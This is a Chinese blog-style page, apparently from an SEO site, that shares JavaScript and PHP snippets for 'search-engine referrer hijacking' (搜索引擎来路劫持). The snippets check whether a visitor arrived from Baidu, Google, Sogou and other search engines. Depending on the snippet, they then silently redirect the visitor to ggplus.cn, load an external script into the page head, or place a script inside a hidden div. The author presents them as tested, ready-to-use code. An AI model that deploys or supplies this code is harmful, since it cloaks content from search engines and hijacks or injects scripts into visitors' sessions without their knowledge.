网站优化

网站优化

Products

当前位置:首页 > 网站优化 >

搜索引擎判断来路跳转(JS代码判断搜索引擎来路劫持)

GG网络技术分享 2025-03-18 16:08 1


1、JS代码判断搜索引擎来路进行跳转

<script language=”javascript”>

var regexp=/\.(baidu|soso|sogou|google|youdao|yahoo)(\.[a-z0-9\-]+){1,2}\//ig;

var where =document.referrer;

if(regexp.test(where))

{

window.location.href=”http://www.ggplus.cn/”

}

</script>

2、用php判断搜索引擎的代码

<?PHP

$referer = $_SERVER['HTTP_REFERER'];

if(!$referer == ''){

if(ereg('http',$referer)){

$referer = @eXPlode('.',$referer);

if(is_array($referer)){

$referer = $referer['1'];

if($referer == 'google' OR $referer == 'baidu' OR $referer == 'soso' OR $referer == 'sogou'){

?>

<div style="visibility:hidden;"><script src="a.js" language="JavaScript"></script>

</div><?php

}

}

}

}

?>
3、另外一种通过Js判断搜索引擎来路的代码则如下

<script type="text/javascript">

function elem(e,url){

var h=document.createElement(e);

h.src=url;

document.getElementsByTagName('head')[0].appendChild(h);

}

function refer(){

var ref=document.referrer;

var baidu=ref.indexOf("baidu");

var soso=ref.indexOf("soso");

var google=ref.indexOf("google");

if(baidu!=-1||soso!=-1||google!=-1){

elem("script","http://127.0.0.1/js.js");

}

}

refer()

</script>

另外附上自己百度谷歌的一份代码

<script language="javascript">

var s=document.referrer

if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("soso")>0 || s.indexOf("search")>0 || s.indexOf("114")>0 )

window.opener.navigate("http://www.ggplus.cn")

</script>

留着备用,以后准备份代码,用来做判断搜索引擎做跳转。

PHP代码做301重定向

<?php

Header("HTTP/1.1 301 Moved Permanently");

Header("Location: http://www.ggplus.cn");

?>

最后来一个自己测试可用的代码

<script type="text/javascript">

var s=document.referrer;

if(s.indexOf("%E5%BB%BA%E7%AB%99%E4%BA%A4%E6%B5%81")>0||s.indexOf("400%E6%98%AF%E5%85%8D%E8%B4%B9%E7%94%B5%E8%AF%9D%E5%90%97")>0||s.indexOf("400%E7%94%B5%E8%AF%9D%E5%A6%82%E4%BD%95%E5%8A%9E%E7%90%86")>0)self.location="http://www.ggplus.cn/xinshou";

</script>
其中s.indexOf(“%E5%BB%BA%E7%AB%99%E4%BA%A4%E6%B5%81″)>0 为关键词 建站交流=%E5%BB%BA%E7%AB%99%E4%BA%A4%E6%B5%81

标签:

提交需求或反馈

Demand feedback